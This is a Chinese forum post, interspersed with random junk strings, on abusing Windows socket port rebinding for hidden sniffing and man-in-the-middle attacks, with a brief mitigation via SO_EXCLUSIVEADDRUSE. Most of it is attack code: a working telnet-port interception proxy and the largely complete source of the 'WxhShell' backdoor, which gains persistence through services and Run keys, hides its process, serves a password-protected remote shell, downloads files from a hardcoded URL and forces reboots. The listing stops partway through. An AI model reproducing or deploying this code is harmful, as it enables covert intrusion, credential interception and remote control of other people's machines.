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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /"^XrVi-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <)"i'v $  
Ylgr]?Db*  
  saddr.sin_family = AF_INET; L=WKqRa>4  
BJ5^-|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &2n 5m&   
_B vGEM`o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9%m^^OOf  
 &'?Hh(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i@ 86Ez  
RVF<l?EI4R  
  这意味着什么?意味着可以进行如下的攻击: Zv9%}%7p  
LCe6](Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ME.!l6lm\  
i?|u$[^=+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JIf.d($ ~:  
Z!4B=?(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pr1kYMrqri  
$&i8/pD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0W~1v  
;qcOcm%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Pjq()\/[Z  
7&(h_}Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "#h/sAIs  
+F>erdV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D4?cnwU  
'<O.J(N~4!  
  #include 14(ct  
  #include v|@EuN14<  
  #include [}}q/7Lp  
  #include    at\$ IK_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   is^5TL%@  
  int main() F| P?|  
  { rmdg~  
  WORD wVersionRequested; MVEh<_  
  DWORD ret; ucJ8l(?Qc  
  WSADATA wsaData; $F]*B `  
  BOOL val;  O@skd2  
  SOCKADDR_IN saddr; pi/&WMZ<  
  SOCKADDR_IN scaddr; *=Ma5J.  
  int err; ]}.|b6\  
  SOCKET s; )"63g   
  SOCKET sc; j#YVv c%  
  int caddsize; t&IWKu#  
  HANDLE mt; OUN"'p%%  
  DWORD tid;   *r|1 3|k  
  wVersionRequested = MAKEWORD( 2, 2 ); GKG:iR)  
  err = WSAStartup( wVersionRequested, &wsaData ); 6H0aHCM  
  if ( err != 0 ) { :zpT Gk8Z  
  printf("error!WSAStartup failed!\n"); =!/T4Oo  
  return -1; 7>EMr}f C  
  } c]|Tg9AW  
  saddr.sin_family = AF_INET; {#&D=7LP  
   iL~(BnsF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N1U.1~U  
lGJ&\Lv:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8L`wib2  
  saddr.sin_port = htons(23); WY26Iq@C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yz)Nco]  
  { _Ecs{'k  
  printf("error!socket failed!\n"); Hdjp^O!  
  return -1; upq3)t_  
  } f+Fzpd?wS  
  val = TRUE; C\ 34R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JZqJ&   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -:Q"aeC5  
  { BiZYGq  
  printf("error!setsockopt failed!\n"); +KIBbXF7  
  return -1; D<[kbt 5^7  
  } EV;"]lC9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ol;"}3*Z*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Tq8U5#NF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .{(gku>g(  
=n;LP#(h?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DH.CAV  
  { !)`m mr  
  ret=GetLastError(); >B.KI}dE  
  printf("error!bind failed!\n"); q%XjJ -s:  
  return -1; :2~2j-m  
  } <4I`|D3@  
  listen(s,2); s|R`$+'{  
  while(1) .AF\[IQ  
  { Io('kCOR;  
  caddsize = sizeof(scaddr); 41+@!`z7  
  //接受连接请求 hF1Lj=x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z0M|Bv9_  
  if(sc!=INVALID_SOCKET) w(Q{;RNM;  
  { NQN?CBFQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k:&B b"  
  if(mt==NULL) IYhn*  
  { 5&]a8p{  
  printf("Thread Creat Failed!\n"); l4^MYwFR{O  
  break; i~m;Ah,#  
  } LE g#W  
  } )\{]4[9N  
  CloseHandle(mt); Bey9P)_Of  
  } bq{eu#rQJ  
  closesocket(s); :]8!G- Z  
  WSACleanup(); d;).| .}P  
  return 0; bFJ>+ {#  
  }   161IWos  
  DWORD WINAPI ClientThread(LPVOID lpParam) &E-q(3-  
  { eX'V#K#C  
  SOCKET ss = (SOCKET)lpParam; VrJf g  
  SOCKET sc; D<T:UJ  
  unsigned char buf[4096]; 2UTmQOm  
  SOCKADDR_IN saddr; RZ?abE8  
  long num;  y`pgJO  
  DWORD val; 2WB`+oWox  
  DWORD ret; uFfk!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hr*xAx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h<g2aL21?F  
  saddr.sin_family = AF_INET; QF$s([  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  \ns} M3  
  saddr.sin_port = htons(23); R vd'uIJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  wKbU}29c  
  { N <M6~  
  printf("error!socket failed!\n"); PD-*rG `  
  return -1; M'@  
  } eo&G@zwN   
  val = 100; <}}u'5;^?x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RvyCc!d  
  { ?',GRaD  
  ret = GetLastError(); X:QRy9]  
  return -1; p uW  
  } I.U=%{.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jEL"Q?#  
  { #`%V/#YK  
  ret = GetLastError(); z -'e<v;w  
  return -1; (XV+aQ\A  
  } nd{k D>a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &pH XSU  
  { UW{C`^?=B  
  printf("error!socket connect failed!\n"); w3"%d~/[x  
  closesocket(sc); C-&s$5MzGb  
  closesocket(ss); af&P;#U  
  return -1; +9.GNu  
  } Z OqD.=O(  
  while(1) 88l{M[B2  
  { 5-:H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U/-|hfh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +a^0Q F-7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w NMA)S  
  num = recv(ss,buf,4096,0); 8TYoa:pZ  
  if(num>0) ;33SUgX  
  send(sc,buf,num,0); e]V7 7oc  
  else if(num==0) ]!2[kA-  
  break; }s.\B    
  num = recv(sc,buf,4096,0); CUj$ <ay=  
  if(num>0) 1|$J>  
  send(ss,buf,num,0); vQ >8>V  
  else if(num==0) G~/*!?&z  
  break; d,o|>e$  
  }  }S}%4c>  
  closesocket(ss); M%5_~g2n'\  
  closesocket(sc); @QDpw1;V'  
  return 0 ; '~xiD?:  
  } _OB^ywHn.  
>bg{  
Iv?1XI=  
========================================================== }+F@A`Bm&  
\<\147&)r  
下边附上一个代码,,WXhSHELL #_zj5B38E  
'r} y{`3M  
========================================================== Rd|^C$6  
^ j<2s"S  
#include "stdafx.h" 8cj}9}k  
)Zrn?KM  
#include <stdio.h> [V0%=q+R  
#include <string.h> Srrzj-9^)K  
#include <windows.h> S0;s 7X#c  
#include <winsock2.h> W&2r{kCsQ  
#include <winsvc.h> cgR8+o  
#include <urlmon.h> :*J!  
hjp,v)#  
#pragma comment (lib, "Ws2_32.lib") la`f@~Bbr1  
#pragma comment (lib, "urlmon.lib") <M\#7.](  
_"82W^Wi  
#define MAX_USER   100 // 最大客户端连接数 $Eo-58<q  
#define BUF_SOCK   200 // sock buffer m2Wi "X(I_  
#define KEY_BUFF   255 // 输入 buffer ilQt`-O!  
\Lm`jU(:l  
#define REBOOT     0   // 重启 H~W=#Cx  
#define SHUTDOWN   1   // 关机 D*ZswHT{y  
(_fovV=  
#define DEF_PORT   5000 // 监听端口 Q 2 B  
Y\E7nll:.  
#define REG_LEN     16   // 注册表键长度 ^-(DokdBn  
#define SVC_LEN     80   // NT服务名长度 tQ`|MO&o  
^N O4T  
// 从dll定义API |^OK@KdL1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @Z Dd(xB&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &PFK0tY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <BK?@Xy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "MyMByomQ  
!'a <Dw5  
// wxhshell配置信息 A1B%<$|pz  
struct WSCFG { 2 e&M/{  
  int ws_port;         // 监听端口 d/\ajQ1::  
  char ws_passstr[REG_LEN]; // 口令 0+KSD{  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^O&&QRH~w  
  char ws_regname[REG_LEN]; // 注册表键名 C9eisUM  
  char ws_svcname[REG_LEN]; // 服务名 Kr+#)S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i>(TPj|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'AZxR4W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &a'LOq+r'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3]kN9n{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &5hs W1`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gq~"Z[T  
~Jlq.S'  
}; ow#8oUf=  
%{0F.  
// default Wxhshell configuration 3Qu-X\  
struct WSCFG wscfg={DEF_PORT, -:Bgp*S  
    "xuhuanlingzhe", ~iq=J5IN#  
    1, ts r{-4V  
    "Wxhshell", T NF  
    "Wxhshell", 6#HnA"I2n  
            "WxhShell Service", kR{$&cE^  
    "Wrsky Windows CmdShell Service", ^grDP*;W  
    "Please Input Your Password: ", kkXe=f%  
  1, Ti>}To}B5  
  "http://www.wrsky.com/wxhshell.exe", }$s QmR R  
  "Wxhshell.exe" t;_1/ mt  
    }; im F,8'  
HstL'{&,-m  
// 消息定义模块 N]&hw&R{Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $_gv(&ZT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (R(NEN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )M8@|~~  
char *msg_ws_ext="\n\rExit."; y(=0  
char *msg_ws_end="\n\rQuit."; ,q$2D,dz  
char *msg_ws_boot="\n\rReboot..."; .`oKd@I*"  
char *msg_ws_poff="\n\rShutdown..."; & d* bQv$  
char *msg_ws_down="\n\rSave to "; Y@+9Ukd/  
$SfY<j,R  
char *msg_ws_err="\n\rErr!"; !04 ^E  
char *msg_ws_ok="\n\rOK!"; #;UoZJ B  
Zt 1nH  
char ExeFile[MAX_PATH]; Pd~z%VoO  
int nUser = 0; 1+Vei<H$  
HANDLE handles[MAX_USER]; S5~(3I )v  
int OsIsNt; JC}T*h>Ee  
wd1>L) T  
SERVICE_STATUS       serviceStatus; Pt'=_^Io  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0\+$j5;  
K] &GSro  
// 函数声明 tR_DN  
int Install(void); =.,XJIw&  
int Uninstall(void); Gi&/`vm  
int DownloadFile(char *sURL, SOCKET wsh); M->#WGl\B  
int Boot(int flag); !RN9wXS7  
void HideProc(void); B9'2$s+Z;  
int GetOsVer(void); N<QLvZh  
int Wxhshell(SOCKET wsl); T%**:@}+  
void TalkWithClient(void *cs); H-8_&E?6m  
int CmdShell(SOCKET sock); y/+y |.Xg  
int StartFromService(void); +:u &]  
int StartWxhshell(LPSTR lpCmdLine); ,u14R]  
?:W=ddg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l{V(Y$xp3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Uy~O(F t  
Ub[UB%(T  
// 数据结构和表定义 .GFKy  
SERVICE_TABLE_ENTRY DispatchTable[] = aI\]R:f,  
{ ictOC F  
{wscfg.ws_svcname, NTServiceMain}, 7s;*vd>  
{NULL, NULL} j0S[JpoF  
}; y <P1VES  
<p[RhP  
// 自我安装 ^{-Z3Yxd  
int Install(void) Vtk}>I@%  
{ R I]x=  
  char svExeFile[MAX_PATH]; YV6w}b:  
  HKEY key; ST\d -x  
  strcpy(svExeFile,ExeFile); lsVg'k/Z!  
mm N $\2  
// 如果是win9x系统,修改注册表设为自启动 C3; d.KlV  
if(!OsIsNt) { :Z]\2(x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kFi=^#J{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q>\9/DjUp  
  RegCloseKey(key); lV?OYS|4i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mMad1qCi7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YTfMYH=}  
  RegCloseKey(key);  j g_;pn  
  return 0; Y+3r{OI  
    } wr2F]1bh@  
  } @oFuX.  
} _u;34H&/  
else { _i0,?U2C  
*)i+c{~  
// 如果是NT以上系统,安装为系统服务 MG$Df$R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =z2g}X  
if (schSCManager!=0) xQ8?"K;iX  
{ SY+$8^  
  SC_HANDLE schService = CreateService 0+_:^z  
  ( AkBEE  
  schSCManager, (M,*R v  
  wscfg.ws_svcname, n}q/:|c  
  wscfg.ws_svcdisp, ,in"8aT}~  
  SERVICE_ALL_ACCESS, ](^BQc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {I QCA-AI  
  SERVICE_AUTO_START, (%|L23  
  SERVICE_ERROR_NORMAL, q]z%<`.9*  
  svExeFile, uJ%XF*>_D  
  NULL, 3?yq*uE}  
  NULL, I#](mRJ6  
  NULL, Rm=[Sj84  
  NULL, (1;%V>,L  
  NULL M\bea  
  ); =/qj vY  
  if (schService!=0) <@H=XEn  
  { Pqv9> N|  
  CloseServiceHandle(schService); Z$ Mc{  
  CloseServiceHandle(schSCManager); GZNfx8zsY+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )Xd2qbi  
  strcat(svExeFile,wscfg.ws_svcname); n ,CMGe^:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1$rrfg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HXRK<6k$  
  RegCloseKey(key); )\0LxsZ  
  return 0; /N\[ C"8  
    } <!.Qn Y  
  } ryoD 1OE  
  CloseServiceHandle(schSCManager); j?9fb  
} hS:j$j e  
}  Q~AK0W  
+#0,2 wR#  
return 1; / ,#&Htk  
} dnUiNs8  
9x[|75}l  
// 自我卸载 )K^5+oC17  
int Uninstall(void) %4HpTx  
{ 9='=wWW  
  HKEY key; +b6kU{  
!)TO2?,^  
if(!OsIsNt) { ~V<62"G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f1UGDC<p9  
  RegDeleteValue(key,wscfg.ws_regname); dGBVkb4]T  
  RegCloseKey(key); ti^msC8e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w0N8a%  
  RegDeleteValue(key,wscfg.ws_regname); ia}V8i  
  RegCloseKey(key); EkEU}2  
  return 0; _f5n t:-  
  } B\} B H  
} U:o(%dk  
} V57tn6 >b  
else { &fYV FRVkq  
-THU5AB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {]CO;5:  
if (schSCManager!=0) kan4P@XVS  
{ lwuslt*E/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H]/!J]  
  if (schService!=0) >*aqYNft  
  { 8f0Ytfhw  
  if(DeleteService(schService)!=0) { (77EZ07%  
  CloseServiceHandle(schService); jvfQG:F }  
  CloseServiceHandle(schSCManager); ]aF!0Fln~  
  return 0; zgh~P^Z  
  } t*'U|K4L/  
  CloseServiceHandle(schService); XLNR%)l  
  } (jY -MF3  
  CloseServiceHandle(schSCManager); 0cBk/x^s  
} )+S^{tt  
} =(Ll}V,  
(]l}QR%Bxu  
return 1; -I\Y m_)  
} ) HN,Az"  
L)Iv] u  
// 从指定url下载文件 )+ss)L EC  
int DownloadFile(char *sURL, SOCKET wsh) &7CAxU;i3  
{ ;.<0lnV  
  HRESULT hr; $J] b+Bp  
char seps[]= "/"; m"CsJ'\ors  
char *token; xJ(4RaP  
char *file;  h7h[! >  
char myURL[MAX_PATH]; f*}H4H EO  
char myFILE[MAX_PATH]; v3vQfcxR  
sZ!/uN!6  
strcpy(myURL,sURL); u(!@6%?-  
  token=strtok(myURL,seps); JNYFu0  
  while(token!=NULL) *75?%l  
  { qd7 86~  
    file=token; =U_WrY<F  
  token=strtok(NULL,seps); '&.QW$B\B_  
  } PafsO,i-  
Mk-Rl  
GetCurrentDirectory(MAX_PATH,myFILE); mar BVFz~  
strcat(myFILE, "\\"); "$VqOSo  
strcat(myFILE, file); 7Q>*]  
  send(wsh,myFILE,strlen(myFILE),0); ]^63n/Twj  
send(wsh,"...",3,0); UaQR0,#0y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J,bE[52  
  if(hr==S_OK) *0 0K3  
return 0; FYe(S V(9  
else wlM"Zt  
return 1; HktvUJ(Ii  
%S<0l@=5`l  
} Xy>+r[$D:  
R0n# FL^E  
// 系统电源模块 q~^qf  
int Boot(int flag) )4hb%U  
{ y3 R+060\3  
  HANDLE hToken; 0koC;(<n  
  TOKEN_PRIVILEGES tkp; wi]F\ q"Y^  
u49v,,WGw  
  if(OsIsNt) { `(r [BV|h}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1?6;Oc^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b-1cA1#_cP  
    tkp.PrivilegeCount = 1; n6PXPc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qg\OJmv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O;u&>BMk  
if(flag==REBOOT) { rI\G&OqpP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,<[Q/:}[  
  return 0; '\ $2+*  
} c&1:H1#  
else { 1CkBfK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J!$q"0G'WT  
  return 0; C0xj M0  
} DA5kox&cU  
  } 9Ytf7NpR  
  else { ~Bll\3-=  
if(flag==REBOOT) { K[%)_KW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IpX>G]"-C  
  return 0; @O7hY8",  
} _E[zYSo`  
else {  Pa .D+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K5O#BBX=  
  return 0; <<zYF.9L]  
} CzF#feTA  
} n M +(  
qRXb 9c  
return 1; 0] 'Bd`e  
} `u%`N j  
jl;%?bx  
// win9x进程隐藏模块 8Bvc# +B  
void HideProc(void) wHSas[4k  
{ RT2%)5s  
<,%qt_ !  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jG"n);WF  
  if ( hKernel != NULL ) orB8q((  
  { K&zp2V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'eNcQJh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O7p>"Bh  
    FreeLibrary(hKernel); S&y(A0M  
  } sb"etc`w%-  
'lPt.*Y<u  
return; fVlTsc|e  
} :Ogt{t  
Ccmo(W+0  
// 获取操作系统版本 f; <qGM.#|  
int GetOsVer(void) `GsFvxz  
{ Xx~za{p  
  OSVERSIONINFO winfo; 7^}np^[HB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *.X!AJ;M=O  
  GetVersionEx(&winfo); ')k n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2R:I23[#B  
  return 1; xE$(I<:  
  else &F4khga`^:  
  return 0; KkVFY+/)  
} \ W3\P=  
4l0ON>W(  
// 客户端句柄模块 tDF=Iqu)a  
int Wxhshell(SOCKET wsl) xz1jRI$  
{ Q{hXP*5  
  SOCKET wsh; VqzcTr]_  
  struct sockaddr_in client; |a7W@LVYD  
  DWORD myID; u)]]9G _8  
{ZiZ$itf  
  while(nUser<MAX_USER) q.s2x0  
{ `m N*"1p-  
  int nSize=sizeof(client); `~zY!sK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H-&Z+4 +Xs  
  if(wsh==INVALID_SOCKET) return 1; g. V6:>,  
jfxW9][   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fmuAX w>  
if(handles[nUser]==0) y6.Q\=  
  closesocket(wsh); 5r;M61  
else 9$-V/7@)  
  nUser++; 9cJzL"yi  
  } K OZHz`1!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,uEi*s>  
5v51:g>c  
  return 0; SDY!!.  
} <S*o}:iB  
{-28%  
// 关闭 socket c< ke)@  
void CloseIt(SOCKET wsh) 9(.P2yO  
{ 7O3\  
closesocket(wsh); 9~8UG (  
nUser--; m791w8Vr  
ExitThread(0); X@$x(Zc  
} O2[uN@nY  
2jQ|4$9j  
// 客户端请求句柄 [C@0&[[  
void TalkWithClient(void *cs) K1S)S8.EZ8  
{ Etk`>,]Y>y  
t/? x#X  
  SOCKET wsh=(SOCKET)cs; n:c)R8X]  
  char pwd[SVC_LEN]; 9Ra_[1  
  char cmd[KEY_BUFF]; \ "193CW!  
char chr[1]; F<wwuCbF  
int i,j; QO;W}c:N  
Fs rGI (x?  
  while (nUser < MAX_USER) { cC'{+j8-a  
(uB evU\  
if(wscfg.ws_passstr) { X( m&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =i jGB~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u@v0I$  
  //ZeroMemory(pwd,KEY_BUFF); `&2AN%Xz  
      i=0; &M$s@FUY  
  while(i<SVC_LEN) { 4u;db_gX  
w{$t:l)2,  
  // 设置超时 m7z6c"?lB  
  fd_set FdRead; > <WR]`G  
  struct timeval TimeOut; cE S3<`[K  
  FD_ZERO(&FdRead); {9wBb`.n^  
  FD_SET(wsh,&FdRead); V9 <!pMj  
  TimeOut.tv_sec=8; ZRY s7 4<  
  TimeOut.tv_usec=0; ]<D9Q>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sMh3IL9(*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -P+( =U  
{3Z&C$:s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kJP fL s  
  pwd=chr[0]; d, j"8\@  
  if(chr[0]==0xd || chr[0]==0xa) { ;hsgi|Cy-  
  pwd=0; yE3g0@*  
  break; F5Tah{  
  } Cg NfqT0  
  i++; Yv!%Is  
    } Hf P2o5-  
jdxwS  
  // 如果是非法用户,关闭 socket N_TWT&o4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j*"V! d  
} (hTe53d<S?  
< \]o#w*:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qG.HJD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :| J' HCth  
r (Ab+1b  
while(1) { a5o&6_  
Tvr2K84l  
  ZeroMemory(cmd,KEY_BUFF); 6Zwrk-,A  
ON~jt[  
      // 自动支持客户端 telnet标准   ,yW BO  
  j=0; wowv>!N!X-  
  while(j<KEY_BUFF) { [pf78  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >x0"gh  
  cmd[j]=chr[0]; f]H[uzsV  
  if(chr[0]==0xa || chr[0]==0xd) { E/@w6uIK[  
  cmd[j]=0; L 1=HD  
  break; dM"Suw  
  } 3B:U>F,]4  
  j++; ML?%s`   
    } zJNiAc  
T-pes1Wu  
  // 下载文件 7!Z\B-_,  
  if(strstr(cmd,"http://")) { 0,*clvH\;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q6'3-@%  
  if(DownloadFile(cmd,wsh)) Vrl)[st!;I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fNOsB^Y  
  else INZycNqm,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $@kGbf~k  
  } T4n.C~  
  else { 42mi 7%f  
z6e)|*cA$  
    switch(cmd[0]) { NQzpgf|h  
  S\2QZ[u  
  // 帮助 &kh7|:{j  
  case '?': { -:IG{3fnu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pE(\q+1<  
    break; 4/; X-  
  } <I .p{Z  
  // 安装 :Z|lGH =  
  case 'i': { -#srn1A>  
    if(Install()) *oLAO/)n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "4N%I  
    else Ek\f x*Lz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #|'&%n|Z  
    break; g _fvbVX  
    } k{ >rI2;  
  // 卸载 1.WdxMpW9  
  case 'r': { Z'c{4b`N  
    if(Uninstall()) p] kpDx[9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ @$=MSN  
    else `M?C(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b Z c&uq_  
    break; @a,X{ 0  
    } n\k6UD  
  // 显示 wxhshell 所在路径 O8+e: K[D  
  case 'p': { >o #^r;  
    char svExeFile[MAX_PATH]; Sqj'2<~W  
    strcpy(svExeFile,"\n\r"); pjr,X+6o  
      strcat(svExeFile,ExeFile); L12m ;  
        send(wsh,svExeFile,strlen(svExeFile),0); \zA$|) x  
    break; zRtaO'G(  
    } fhqc[@Y[  
  // 重启 (9q61z A  
  case 'b': { ?CGbnXZ4Ug  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |aef$f5  
    if(Boot(REBOOT))  Qj(q)!Ku  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y; =y-D  
    else { CU)'x E  
    closesocket(wsh); krwY_$q  
    ExitThread(0); U085qKyCw  
    } g2%&/zq/  
    break; Wj2]1A  
    } vH_QSx;C#  
  // 关机 ($:s}_<>s  
  case 'd': { g+BW~e)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QUd`({/@:  
    if(Boot(SHUTDOWN)) Bv,u kQ\CH  
